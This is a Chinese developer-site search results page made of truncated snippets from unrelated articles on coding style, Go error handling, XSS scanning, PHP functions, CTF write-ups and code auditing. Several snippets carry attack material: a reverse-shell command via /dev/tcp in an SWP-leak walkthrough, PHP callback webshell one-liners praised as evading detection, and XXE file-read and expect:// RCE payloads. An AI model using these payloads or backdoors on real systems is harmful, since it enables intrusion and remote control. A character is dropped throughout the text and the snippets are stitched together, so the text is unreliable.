首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

web 开发规则,代码规范

數 (Function, Methd) 數宣告時需在數上方加上數註解,註解應包含數說明、引數內容 (引數型態、引數英文名稱、引數說明)、 回傳內容 (回傳型態、回傳說明) 類 (Class...CSS 程式碼撰寫 CSS 定義應該獨立一個 CSS 檔案,禁止使用 或 style 屬性直接在 HTML 中定義樣式。...JavaScript 程式碼撰寫 禁止使用 HTML 字串,一律使用 Dom 產生 HTML 禁止省略箭頭數 (Arrow function) 括弧 正確 1 2 3 a = (a, b)...] 引數說明 * @param {引數型態} [選擇性引數名稱=引數預設] 引數說明 * @returns {回傳型態} 回傳說明 */ Example 1 2 3 4 5...前端參數取得 參數取得需透過 filter_input 數取得,不得使用 _GET、 _POST 輸出到前台 參數命名必須為:全部小寫,不同單字以「_」分隔 註解 PHP 註解應該遵循 PHPDoc

74820

Go 语言错误及异常处理篇(三):panic 和 recover

panic Go 语言没有像 PHP 那样引入异常概念,也没有提供 try...catch 这样语法对运行时异常进行捕获和处理,当代码运行时出错,而又没有在编码时式返回错误时,Go 语言会抛出 panic...除了像上篇教程演示那样由 Go 语言底层抛出 panic,我们还可以在代码中式抛出 panic,以便对错误和异常信息进行自定义,仍然以上篇教程除数为0示例代码为例,我们可以这样式返回 panic...recover 此外,我们还可以通过 recover() 函数对 panic 进行捕获和处理,从而避免程序崩溃然后直接退出,实现类似 PHP 中 try...catch...finally 功能,由于执行到抛出...如果在代码执行过程中没有抛出 panic,比如我们把 divide() 函数中 j 改为 1,则代码会正常执行到函数末尾,然后调用 defer 语句声明匿名函数,此时 recover() 函数返回为...nil,不会执行 if 分支代码,然后退出 divide() 函数回到 main() 函数执行后续代码: ?

1.3K20
您找到你想要的搜索结果了吗?
是的
没有找到

Go 错误处理篇(三):panic 和 recover

panic Go 语言没有像 Java、PHP 那样引入异常概念,也没有提供 try...catch 这样语法对运行时异常进行捕获和处理,当代码运行时出错,而又没有在编码时式返回错误时,Go 语言会抛出...除了像上篇教程演示那样由 Go 语言底层抛出 panic,我们还可以在代码中式抛出 panic,以便对错误和异常信息进行自定义,仍然以上篇教程除数为 0 示例代码为例,我们可以这样式返回 panic...")) // 传入 error 类型 无论是 Go 语言底层抛出 panic,还是我们在代码中式抛出 panic,处理机制都是一样:当遇到 panic 时,Go 语言会中断当前协程(即 main...: 如果在代码执行过程中没有抛出 panic,比如我们把 divide() 函数中 j 改为 1,则代码会正常执行到函数末尾,然后调用 defer 语句声明匿名函数,此时 recover() 函数返回为...nil,不会执行 if 分支代码,然后退出 divide() 函数回到 main() 函数执行后续代码: 这样一来,当程序运行过程中抛出 panic 时我们可以通过 recover() 函数对其进行捕获和处理

65110

XSS 扫描器成长记

3 HTML解析&分析反射 如果参数可以回,那么通过html解析就可以获得参数位置,分析回环境(比如是否在html标签内,是否在html属性内,是否在注释中,是否在js中)等等,以此来确定检测payload...其实如果把html解析理解为html语义分析,用python3自带html提取函数很容易就能完成这一点。...1 扫描流程 我扫描器扫描流程是这样 发送随机flag -> 确定参数回 -> 确定回显位置以及情况(html,js语法解析) -> 根据情况根据不同payload探测 -> 使用html,js...语法解析确定是否多出来了标签,属性,js语句等等 使用html语法树检测有很多优势,可以准确判定回所处位置,然后通过发送一个随机payload,例如,再使用语法检测是否有Asfaa这个标签...html语法树用python自带库 from html.parser import HTMLParser js检测也是如此,如果回内容在JavaScript脚本中,发送随机flag后,通过js语法解析只需要确定

1.4K10

number_format 函数详解

字串 式种类: 数学运算 内容说明 本式用来将浮点参数 number 格式化。...若没加参数 decimals 则传回字串只要整数部份,加了此参数才依参数指定小数点位数传回。参数 dec_point 表示小数点表示方式方法,内定是 “.”...,若需要转换成其它小数点就可以在这个参数改掉。参数 thousands_sep 为整数部份每三位分隔符号,内定是 “,”。...本式最特别的地方就是参数数目,最少要有一个,也就是欲格式化字串;也可以有二个或者四个参数,但不能用三个参数。值得注意是指定小数点位数之后数字直接舍弃,没有四舍五入情形。 使用范例 <?...发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/155415.html原文链接:https://javaforall.cn

1.7K20

创造tips秘籍——PHP回调后门

最近又看到有人在发这个:http://www.secoff.net/archives/436.html 有同学收集tips,就有同学创造tips。...看来,这种传统回调后门,已经被一些安全厂商盯上了,存在被查杀风险。 0x02 数组操作造成单参数回调后门 进一步思考,在平时php开发中,遇到过带有回调参数函数绝不止上面说两个。...我把上面几个类型归为:二参数回调函数(也就是回调函数格式是需要两个参数) 0x04 三参数回调函数 有些函数需要回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。...*|e', $_REQUEST['pass'], ''); 这两个一句话都是不杀: ? ? 好用一句话,且用且珍惜呀。 0x05 无回回调后门 回调后门里,有个特殊例子:ob_start。...这几个单参数回调后门非常隐蔽,基本没特征,用起来很6. 0x07 数据库操作与第三方库中回调后门 回到最早微博上发出来那个sqlite回调后门,其实sqlite可以构造回调后门不止上述一个。

2K30

BUUCTF 刷题笔记——Web 1

[字段] from [表名] where [定] and [注入数据] 上述两种具体为哪一种其实也可以判断,直接输入数字后加注释符,若是第一种,则浏览器会回我们输入数据,而若是第二种,则回数据始终不变...图片 那么就使用 cat 命令打开该文件即可,不出意外的话不会出意外,但是出意外了。...图片 那就要抓包了,Brup 抓到访问 action.php 时返回数据如下,提示访问另一个文件。 <!...-- secr3t.php --> 那就老老实实打开这个文件看看,浏览器回了一段代码并且提示 flag 就在 flag.php 文件中。...实测直接修改该即可让网页显示指定内容,但是含有特殊字符字符串就会被过滤,仅回 ORZ。

3.4K20

深入理解JavaScript函数式编程

JavaScript中高阶函数 ❝高阶函数 ❞ 函数作为参数,如下代码实现是循环遍历数组,通过传递参数回调函数可以拿到每个数组遍历在回调函数中进行相应处理 //模拟forEach function...这些问题引入了概念 Fuctor子 容器:包含变形关系(这个变形关系就是函数) 子:是一个特殊容器,通过一个普通对象来实现,该对象具有map方法,map方法可以运行一个函数对进行处理...,而是由子完成 子就是一个实现了map契约对象 可以把子想象成一个盒子,这个盒子里面封装了一个 想要处理盒子中,需要盒子map方法传递一个处理函数(纯函数),由这个函数来对进行处理...是无法知道 //maybe 问题 console.log(r); MayBe 子其实就是在容器内部判断是否为空,如果为空就返回一个为空子。...MayBe 作用是处理外部情况,防止空异常 IO 子内部封装是一个函数,把不纯操作封装到这个函数,不纯操作交给调用者处理 Monad 子内部封装是一个函数(这个函数返回函子

4.2K30

PHP清除html格式

做采集都知道,一般采集过来内容难免会带有html标签,如果有太多标签会影响之后数据分析或提取,所以需要过滤掉!PHP已经为我们提供了很多清除html格式方法了,下面就让老高介绍一下。...strip_tags strip_tags($str) 去掉 HTMLPHP 标记 语法: string strip_tags(string str); 传回: 字串 式种类: 资料处理 内容说明...: 解析:本式可去掉字串中包含任何 HTMLPHP 标记字串。...若是字串 HTMLPHP 标签原来就有错,例如少了大于符号,则也会传回错误。...后补函数 PHP去除html、css样式、js格式方法很多,但发现,它们基本都有一个弊端:空格往往清除不了 经过不断研究,最终找到了一个理想去除html包括空格css样式、js PHP函数。

2.3K30

SWP文件泄露利用

漏洞简介 SWP文件泄露漏洞是指在使用Vim编辑器编辑一个文件时,Vim会在同一目录下创建一个以".swp"结尾临时文件来保存编辑过程中变化,如果在编辑过程中Vim进程被意外终止或者用户没有正确地退出...第一次产生交换文件名为.index.php.swp,再次意外退出后将会产生名为.index.php.swo交换文件,第三次产生交换文件则为.index.php.swn 漏洞利用1 下面以CTFHUB...,这个girl_friend被preg_match过滤了,但是没有过滤nc命令与curl,符合条件girl_friend会被exec()函数执行,但是我们知道exec()函数是无回所以只能用反弹shell...连上这个靶机并用ifconfig命令查看靶机IP 在我们靶机/var/www/html新建一个能反弹shell命令文件(1.txt),里面写入命令:bash -i >& /dev/tcp/ip...例如,可以使用编辑器自动保存功能,在编辑器崩溃或意外关闭时自动保存文件,避免SWP文件生成和泄露 用户安全意识培训:最重要是,用户应该被教育和提醒,避免意外泄露SWP文件。

32820

代码审计

目录 什么是代码审计 代码审计三种方法 1.通读全文法 2.函数回溯法 3.定向功能分析法 分析过程 工具 主要代码审计方法 1.通读全文法 2.函数回溯法 1.跟踪用户输入数据 2.敏感函数参数回溯...1.通读全文法 (1)网站结构 浏览源码文件夹,了解该程序大致目录 (2)入口文件 index.php、admin.php文件一般是整个程序入口,详细读一下index文件可以知道程序架构,运行流程...(3)配置文件 一般类似config.php等文件,保存一些数据库相关信息、程序一些信息。先看看数据库编码,如果是gbk则可能存在宽字节注入。...如果变量用双引号、则可能存在双引号解析代码执行问题。...2.函数回溯法 跟踪用户输入数据和敏感函数参数回溯: 1.跟踪用户输入数据 判断数据进入每一个代码逻辑是否有可利用点,此处代码逻辑 可以是一个函数,或者是条小小条件判断语句。

2.7K52

程序员必须掌握600个英语单词

application 应用程式 应用、应用程序 application framework 应用程式框架、应用框架 应用程序框架 architecture 架构、系统架构 体系结构 argument 引数(传给...C++ Primer 3/e, 11.4) 异常规范 exit 退离(指离开式时那一个执行点) 退出 explicit 明白、明显式 export 汇出 引出、导出 expression...功能 function template 式模板、式范本 函数模板 functor 仿式 仿式、子 game 游戏 游戏 generate 生成 generic 泛型、一般化 一般化...C++ Primer 3/e, 11.4) 异常规范 exit 退离(指离开式时那一个执行点) 退出 explicit 明白、明显式 export 汇出 引出、导出 expression...by reference 传址(式引数一种传递方式) 传地址, 按引用传递 pass by value 传式引数一种传递方式) 按传递 pattern 范式、样式 模式 performance

1.3K20

程序员应该掌握600个英语单词

application 应用程式 应用、应用程序  application framework 应用程式框架、应用框架 应用程序框架  architecture 架构、系统架构 体系结构  argument 引数(传给...C++ Primer 3/e, 11.4) 异常规范  exit 退离(指离开式时那一个执行点) 退出  explicit 明白、明显式  export 汇出 引出、导出  expression...功能  function template 式模板、式范本 函数模板  functor 仿式 仿式、子  game 游戏 游戏  generate 生成  generic 泛型、一般化 一般化...C++ Primer 3/e, 11.4) 异常规范  exit 退离(指离开式时那一个执行点) 退出  explicit 明白、明显式  export 汇出 引出、导出  expression...by reference 传址(式引数一种传递方式) 传地址, 按引用传递  pass by value 传式引数一种传递方式) 按传递  pattern 范式、样式 模式  performance

1.3K00

XXE-XML外部实体注入-知识点

,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害 XXE漏洞可以做什么事: 文件读取 内网扫描攻击 dos攻击 RCE执行 XML与HTML主要差异 XML被设计为传输和存储数据...,其焦点是数据内容 HTML被设计用来显示数据,其焦点是数据外观 HTML旨在显示信息,而XML旨在传输信息 如何去挖XXE漏洞: 抓包修改数据类型,把json改成xml来传输数据 Content-Type...DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTDURI"> 外部引用语音和支持协议 不同语言对协议支持是不一样,我在网上找参考图: XXE攻击常用语句: 有回...ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> &xxe; PHP expect RCE:由于 PHP expect 并不是默认安装扩展...ENTITY xxe SYSTEM "expect://id"> ]> &xxe; 无回 无回情况需要公网服务器或者内网搭建一个服务,让被攻击者机器去调用攻击者写好 外部实体dtd

70820

RFD(反射型文件下载)漏洞原理及实战案例全汇总

2、漏洞原理 先从一个实例理解RFD漏洞,如Google搜索返回包是json格式: 可见我们输入在返回包处反射输出,如果输入payload”||calc||,返回: 到这仍没什么问题,但如果我们尝试在命令行里运行这个回内容...解析过程实际为: 所以和DDE攻击方法类似,我们最终要是让回内容作为一个bat文件下载,这可以通过分号;或结合社会工程方式实现: 注:URL中分号;是个保留字符,类似连接符,现已废除。...3)下载:响应被作为文件里内容进行下载,这里可以控制Content-Type或者在自己服务器上创建一个HTML文件,设置download属性,诱导点击下载。...: 由于因为这个链接返回json而不是下载,所以这里可以在自己服务器构造一个钓鱼html文件,设置为download属性,自动下载bat文件: 用户点击文件,因为链接来自可信地址,所以容易中招...cart_id=3471936&term=rfd&page=1 发现term参数回: {"meta":{"code":200,"source":"search_service","cluster":null

3.8K20

PHP常用函数

当然了,要小心不要意外泄露出你数据库连接信息和密码等。 7, 使用 error_reporting(0) 函数来防止用户看到潜在敏感错误信息。...这就能够在出错时候完全屏蔽敏感 SQL 查询语句和路径名。 8, 在网数据库中存储很大字符串之前使用 gzcompress() 和 gzuncompress() 来压缩/解压字符串。...9, 通过"引用"传递参数方法从一个函数中得到多个返回。 就像三元运算符一样,大部分受过正式编程训练程序员都知道这个技巧。...但是那些 HTML 背景大于 Pascal 背景程序员都或多或少有过这样疑问"在仅能使用一次 return 情况下,从一个函数里返回多个?"...答案就是在变量前加上一个 "&" 符号,通过"引用"传递而非""传递。 10, 完全理解"魔术引号"和 SQL 注入危险性。

1.8K10
领券